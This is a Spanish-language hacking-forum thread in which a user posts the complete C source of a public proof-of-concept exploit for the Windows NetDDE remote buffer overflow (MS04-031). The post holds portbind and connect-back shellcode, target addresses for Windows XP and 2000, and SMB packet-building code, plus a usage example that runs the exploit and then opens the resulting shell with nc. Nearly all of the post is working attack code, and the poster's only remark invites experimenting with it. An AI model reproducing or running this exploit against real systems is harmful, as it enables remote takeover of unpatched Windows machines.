elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:29  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)  (Leído 588 veces)
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)
« en: 2 Enero 2005, 11:02 »

Código:
/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2 
 * 
 * Copyright (c) 2004 houseofdabus. 
 * 
 * (MS04-031) NetDDE buffer overflow vulnerability PoC 
 * 
 * 
 * 
 * 
 *                 .::[ houseofdabus ]::. 
 * 
 * 
 * 
 * (special unstable version) 
 * --------------------------------------------------------------------- 
 * Description: 
 *    A remote code execution vulnerability exists in the  NetDDE 
 *    services because of an unchecked buffer. An attacker  who 
 *    successfully exploited this vulnerability could take complete 
 *    control of an affected system. However, the NetDDE services are 
 *    not started by default and would have to be manually started for 
 *    an attacker to attempt to remotely exploit this vulnerability. 
 *    This vulnerability could also be used to attempt to perform 
 *    a local elevation of privilege or remote denial of service. 
 * 
 * --------------------------------------------------------------------- 
 * Patch: 
 *  http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx 
 * 
 * --------------------------------------------------------------------- 
 * Tested on: 
 *    - Windows XP Professional SP0 
 *    - Windows XP Professional SP1 
 *    - Windows 2000 Professional SP2 
 *    - Windows 2000 Professional SP3 
 *    - Windows 2000 Professional SP4 
 *    - Windows 2000 Advanced Server SP4 
 * 
 * --------------------------------------------------------------------- 
 *    This is provided as proof-of-concept code only for educational 
 *    purposes and testing by authorized individuals with permission to 
 *    do so. 
 * 
 * --------------------------------------------------------------------- 
 * Compile: 
 * 
 * Win32/VC++  : cl -o HOD-ms04031-expl  HOD-ms04031-expl.c 
 * Win32/cygwin: gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -lws2_32.lib 
 * Linux       : gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -Wall 
 * 
 * --------------------------------------------------------------------- 
 * Command Line Parameters/Arguments: 
 * 
 *   HOD-ms04031-expl.exe <host> <netbios name>  <target> <bindport> 
 *                        [connectback IP] [options] 
 * 
 * Targets: 
 *        0 [0x00abfafc]: WinXP [universal] 
 *        1 [0x009efb40]: Win2K [universal] 
 * 
 * Options: 
 *        -f: Netbios name fingerprinting 
 * 
 * --------------------------------------------------------------------- 
 * Example: 
 * 
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 -f 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Fingerprinting... OK 
 * [+] Remote netbios name: HOD 
 * 
 * C:\> 
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Attacking 192.168.0.1 ...OK. 
 * 
 * C:\>nc 192.168.0.1 7878 
 * 
 * Microsoft Windows 2000 [Version 5.00.2195] 
 * (C) Copyright 1985-2000 Microsoft Corp. 
 * 
 * C:\WINNT\system32> 
 * 
 * --------------------------------------------------------------------- 
 */ 
 
 
/* #define _WIN32 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#ifdef _WIN32 
#include <winsock2.h> 
#pragma comment(lib, "ws2_32") 
#else 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#endif 
 
 
/* targets table */ 
struct targets { 
int num; 
char name[50]; 
long jmpaddr; 

target[]= { 
{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 }, 
{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 } 
}; 
 
 
/* portbind shellcode */ 
unsigned char portbindsc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" 
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" 
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" 
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" 
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" 
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" 
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" 
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" 
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" 
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" 
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" 
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" 
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" 
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" 
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" 
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" 
"\x28\xff\x55\x0c"; 
 
 
/* connectback shellcode */ 
unsigned char connectbacksc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" 
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" 
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" 
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" 
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" 
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" 
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" 
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" 
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" 
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa" 
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02" 
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83" 
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83" 
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc" 
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8" 
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90" 
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50" 
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8" 
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56" 
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa" 
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab" 
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50" 
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff" 
"\x77\x38\xff\x55\x20\xff\x55\x0c"; 
 
 
#define SET_PORTBIND_PORT(buf, port) *(unsigned 
short *)(((buf)+300)) = (port) 
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned 
long  *)(((buf)+283)) = (ip) 
#define SET_CONNECTBACK_PORT(buf, port)
*(unsigned short *)(((buf)+290)) = (port) 
 
 
/*   
   eax = target[].jmpaddr -> stack -> jmpcode -> shellcode 
 
   1. 0100D605   call        dword ptr [eax+20h] 
   2. jmpcode 
   3. shellcode 
*/ 
 
char jmpcode[] = 
"\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90" 
"\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28" 
"\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72" 
"\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30" 
"\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e" 
"\xBB\xBB\xBB\xBB" /* => eax */ 
"PADPAD"; 
 
char smb_sesreq[] = 
"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45" 
"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43" 
"\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45" 
"\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43" 
"\x41\x43\x41\x43\x41\x41\x41\x00"; 
 
char smb_negotiate[] = 
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02" 
"\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e" 
"\x31\x32\x00"; 
 
char d1[] = 
"\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a" 
"\x16\x02\x17\x0e\x1b\x0d"; 
 
char req1[] = 
"\x81\x00\x00\x44"; 
 
char req2[] = 
"CACACACACACACACACACACACACACACABP"; 
 
char h1[] = 
"\x45\x44\x44\x4E\x00\x00\x00"; 
 
char h2[] = 
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
 
char h3[] = 
"\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00"; 
 
 
unsigned long ndlen = 0; 
unsigned long ntarget = 0; 
unsigned long backip = 0; 
unsigned short bindport = 0; 
 
 
 
unsigned long 
fixx(unsigned char *data, unsigned long i) 

unsigned long len; 
 
len = (data[i+3]<<24) + 
(data[i+2]<<16) + 
(data[i+1]<<8) + 
(data[i]); 
 
return len; 

 
 
unsigned long 
chksum(unsigned char *data, unsigned long dlen) 

unsigned long i, len; 
unsigned long chk; 
 
chk = 0xFFFFFFFF; 
len = dlen - 4; 
 
for (i=0; i<len; i+=4) 
chk += fixx(data, i); 
 
while (i < dlen) { 
chk += (unsigned char)data[i]; 
i++; 

 
return chk; 

 
 
char * 
netbios_encode(char *ndata, char service) 

char *tmpdata, *data, *nret; 
unsigned long dlen; 
char odiv, omod, o; 
int i; 
 
data = (char *)calloc(17, 1); 
memcpy(data, ndata, strlen(ndata)); 
 
dlen = strlen(data); 
while (dlen < 15) { 
strcat(data, "\x20"); 
dlen++; 

 
memcpy(data+strlen(data), &service, 1); 
 
nret = (char *)calloc(strlen(data)*2+1, 1); 
tmpdata = nret; 
 
for (i=0; i<16; i++) { 
o = (char)data[i]; 
odiv = o / 16; 
odiv = odiv + 0x41; 
omod = o % 16; 
omod = omod + 0x41; 
*tmpdata++ = odiv; 
*tmpdata++ = omod; 

 
free(data); 
 
return nret; 

 
unsigned char * 
find_smbname(unsigned char *data, unsigned long len) 

unsigned char *ptr; 
unsigned long i = 0; 
 
ptr = data; 
ptr += 91; 
 
while (i <= len - 3) { 
if (ptr[i] == '\x00') 
if (ptr[i+1] == '\x00') 
if (ptr[i+2] == '\x00') 
return ptr+i+3; 
i++; 

 
return NULL; 

 
/* fingerprinting */ 
unsigned char * 
smb_get_name(char *ip) 

int sock, r; 
unsigned long smbname_len; 
unsigned char *name = NULL, *smbname; 
struct sockaddr_in s; 
struct hostent *he; 
unsigned char buf[256]; 
 
 
if ((he = gethostbyname(ip)) == NULL) { 
printf("[-] Unable to resolve %s\n", ip); 
return NULL; 

 
sock = socket(AF_INET, SOCK_STREAM, 
IPPROTO_TCP); 
if (sock < 0) return NULL; 
 
s.sin_family = AF_INET; 
s.sin_addr = *((struct in_addr *)he->h_addr); 
s.sin_port = htons(139); 
memset(&(s.sin_zero), '\0', 8); 
 
memset(buf, 0, 256); 
 
printf("[*] Connecting to %s:139 ... ", ip); 
r = connect(sock, (struct sockaddr *) &s, sizeof(struct 
sockaddr_in)); 
if (r == 0) { 
printf("OK\n[*] Fingerprinting... "); 
/* sending session request */ 
send(sock, smb_sesreq, sizeof(smb_sesreq)-1, 
0); 
Sleep(1000); 
r = recv(sock, (char *)buf, 256, 0); 
if (r < 0) goto err; 
 
memset(buf, 0, 256); 
/* sending negotiation request */ 
send(sock, smb_negotiate, 
sizeof(smb_negotiate)-1, 0); 
Sleep(1000); 
r = recv(sock, (char *)buf, 256, 0); 
if (r < 0) goto err; 
 
printf("OK\n"); 
smbname = find_smbname(buf, r); 
if (smbname == NULL) goto err; 
smbname_len = smbname - buf; 
 
name = (unsigned char *)calloc(smbname_len, 
1); 
 
/* decoding */ 
r = 0; 
while (smbname_len) { 
if (*smbname != '\x00') { 
name[r] = *smbname; 
r++; 

smbname++; 
smbname_len--; 

} else { 
printf("failed\n[-] Can't connect to %s:139\n", ip); 

 
err: 
shutdown(sock, 1); 
closesocket(sock); 
 
return name; 

 
 
/* NetDDE packet */ 
char * 
packet_assembly(char *name, char *host) 

char *main, *header, *data; 
char *lname, *rhost; 
unsigned long llen, rlen, len, hlen, dlen, csum, i; 
unsigned char name_hi, name_low, rhost_hi, 
rhost_low; 
unsigned char hod_hi, hod_low, len_hi, len_low; 
unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */ 
char hod[] = "HOD-HOD\x01"; 
char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00"; 
char tmp[8]; 
 
 
llen = strlen(name) + 4; 
rlen = strlen(host); 
lname = (char *)calloc(llen + 3, 1); 
rhost = (char *)calloc(rlen + 3, 1); 
 
memcpy(lname, name, llen); 
strcpy(rhost, host); 
memcpy(lname + llen, "\x01", 1); 
strcat(rhost, "\x01"); 
 
name_hi   = (unsigned char) ((llen+1) / 256); 
name_low  = (unsigned char) ((llen+1) % 256); 
rhost_hi  = (unsigned char) ((rlen + llen + 2) / 256); 
rhost_low = (unsigned char) ((rlen + llen + 2) % 256); 
 
len = sizeof(hod) - 1; 
hod_hi  = (unsigned char) (len / 256); 
hod_low = (unsigned char) (len % 256); 
 
main = (char *)calloc( sizeof(hod)-1 + 
sizeof(hmain)-1 + 
llen + rlen + 
11, 1 ); 
 
memcpy(main, hmain, sizeof(hmain)-1); 
sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low, 
rhost_hi, rhost_low, hod_hi, hod_low); 
 
memcpy(main+sizeof(hmain)-1, tmp, 6); 
memcpy(main+sizeof(hmain)-1+6, "\x00", 1); 
memcpy(main+sizeof(hmain)-1+7, lname, llen+1); 
memcpy(main+sizeof(hmain)-1+7+llen+1, rhost, 
rlen+1); 
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod, 
sizeof(hod)-1); 

memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1, 
"\x2e", 1); 
 
len = 
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1; 
len_hi  = (unsigned char) (len / 256); 
len_low = (unsigned char) (len % 256); 
 
 
/* header */ 
header = (char *)calloc(sizeof(h1)-1 + 
sizeof(h2)-1 + 
sizeof(h3)-1 + 
9, 1); 
 
memcpy(header, h1, sizeof(h1)-1); 
sprintf(tmp, "%c%c", len_hi, len_low); 
memcpy(header+sizeof(h1)-1, tmp, 2); 
memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1); 
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2); 
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3, 
sizeof(h3)-1); 
 
csum = chksum(main, len); 
memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4 
+ sizeof(h3)-1, &csum, 4); 
 
 
/* data */ 
hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8; 
data = (char *)calloc( sizeof(d1)-1 + 
len+hlen + 
37 + 
1200, 1 ); 
 
csum = chksum(header, hlen); 
memcpy(data+4, &csum, 4); 
memcpy(data+4+4, header, hlen); 
memcpy(data+4+4+hlen, main, len); 
memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1); 
 
/* nops */ 
for (i=0; i<154; i++) 
memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4, 
nops, 4); 
 
/* shellcode */ 
if (!backip) { 
/* portbind */ 
SET_PORTBIND_PORT(portbindsc, 
htons(bindport)); 

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
portbindsc, sizeof(portbindsc)-1); 
dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4; 
} else { 
/* connectback */ 
SET_CONNECTBACK_IP(connectbacksc, 
backip); 
SET_CONNECTBACK_PORT(connectbacksc, 
htons(bindport)); 

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
connectbacksc, sizeof(connectbacksc)-1); 
dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4; 

 
ndlen = dlen + 4; 
dlen = htonl(dlen); 
memcpy(data, &dlen, 4); 
 
free(lname); 
free(rhost); 
free(main); 
free(header); 
 
return data; 

 
 
void 
usage(char *prog) 

int i; 
 
printf("%s <host> <netbios name> <target> <bindport> 
[connectback IP] [options]\n\n", prog); 
printf("Targets:\n"); 
for (i = 0; i < 2; i++) 
printf(" %d [0x%.8x]: %s\n", target[i].num, 
target[i].jmpaddr, target[i].name); 
printf("\nOptions:\n\t-f: Netbios name fingerprinting\n"); 
exit(0); 
 

 
void 
vargs(int argc, char **argv) 

int i, finger = 0; 
char *nname = NULL; 
 
for (i = 2; i < argc; i++) { 
if (argv[i][0] == '-') { 
if (argv[i][1] == 'f') 
finger = 1; 


 
if (finger && argc > 2) { 
nname = smb_get_name(argv[1]); 
if (nname) { 
printf("[+] Remote netbios name: %s\n", 
nname); 
free(nname); 

exit(0); 
} else 
if (argc < 5) usage(argv[0]); 
if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]); 
 
bindport = (unsigned short)atoi(argv[4]); 
if (argc > 5) backip = inet_addr(argv[5]); 
 
return; 

 
 
 
int 
main (int argc, char **argv) 

 
int len, sockfd; 
char *host; 
char *req; 
struct hostent *he; 
struct sockaddr_in their_addr; 
char rbuf[4096]; 
 
#ifdef _WIN32 
WSADATA wsa; 
#endif 
 
char *ses_req; 
char *data, *hname; 
char *hn, *hn2; 
unsigned long req_sz, hname_len, hn_len; 
 
 
#ifdef _WIN32 
WSAStartup(MAKEWORD(2,0), &wsa); 
#endif 
 
 
printf("\n      (MS04-031) NetDDE buffer overflow 
vulnerability PoC\n\n"); 
printf("\tCopyright (c) 2004-2005 .::[ houseofdabus 
]::.\n\n\n"); 
 
vargs(argc, argv); 
 
hn = argv[2]; /* target netbios name */ 
host = argv[1]; /* target host name */ 
 
if (strlen(host) > 1024) return 0; 
 
/* target jmpaddr */ 
memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4); 
 
ses_req = (char *)calloc(sizeof(req1)-1 + 
sizeof(req2)-1 + 
114, 1); 
 
memcpy(ses_req, req1, sizeof(req1)-1); 
memcpy(ses_req+sizeof(req1)-1, "\x20", 1); 
 
hname = netbios_encode(hn, 0x1F); 
hname_len = strlen(hname); 
 
memcpy(ses_req+sizeof(req1)-1+1, hname, 
hname_len); 
memcpy(ses_req+sizeof(req1)-1+1+hname_len, 
"\x00\x20", 2); 
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2, 
req2, sizeof(req2)-1); 

memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1, 
"\x00", 1); 
 
req_sz = 
sizeof(req1)-1+sizeof(req2)-1+hname_len+4; 
 
if ((he = gethostbyname(host)) == NULL) { 
printf("[-] Unable to resolve %s\n", host); 
return 0; 

 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 
0) { 
printf("[-] Error: socket failed\n"); 
return 0; 

 
req = req1; 
 
their_addr.sin_family = AF_INET; 
their_addr.sin_port = htons(139); 
their_addr.sin_addr = *((struct in_addr *)he->h_addr); 
memset(&(their_addr.sin_zero), '\0', 8); 
 
/* connecting */ 
printf("[*] Connecting to %s:139 ... ", host); 
if (connect(sockfd, (struct sockaddr *)&their_addr, 
sizeof(struct sockaddr)) < 0) { 
printf("[-] Error: connect failed\n"); 
return 0; 

printf("OK\n"); 
 
if (send(sockfd, ses_req, req_sz, 0) < 0) { 
printf("[-] Error: send failed\n"); 
return 0; 

 
len = recv(sockfd, rbuf, 4096, 0); 
if (len < 0) return 0; 
 
/* check NetDDE */ 
if ((unsigned char)rbuf[0] != 0x82) { 
printf("[-] NetDDE disabled or wrong netbios 
name\n"); 
return 0; 

 
hn2 = (char *)calloc(16, 1); 
memcpy(hn2, hn, strlen(hn)); 
hn_len = strlen(hn); 
 
while (hn_len < 15) { 
strcat(hn2, "\x20"); 
hn_len++; 

 
/* attacking */ 
printf("[*] Attacking %s ...", host); 
 
data = packet_assembly(jmpcode, hn2); 
 
if (send(sockfd, data, ndlen, 0) < 0) { 
printf("\n[-] Error: send failed\n"); 
return 0; 

printf("OK.\n"); 
len = recv(sockfd, rbuf, 4096, 0); 
 
shutdown(sockfd, 1); 
closesocket(sockfd); 
free(data); 
free(hn2); 
free(ses_req); 
free(hname); 
 
return 0; 


Importante detalle:
Citar
However, the NetDDE services are not started by default and would have to be manually started for an attacker to attempt to remotely exploit this vulnerability.


Hala, a ver q se puede hacer con esto...
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Manual] Buffer Overflow en Windows « 1 2 3 4 »
Hacking Avanzado
ikary 45 16,402 Último mensaje 3 Mayo 2011, 14:51
por mordiskos
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines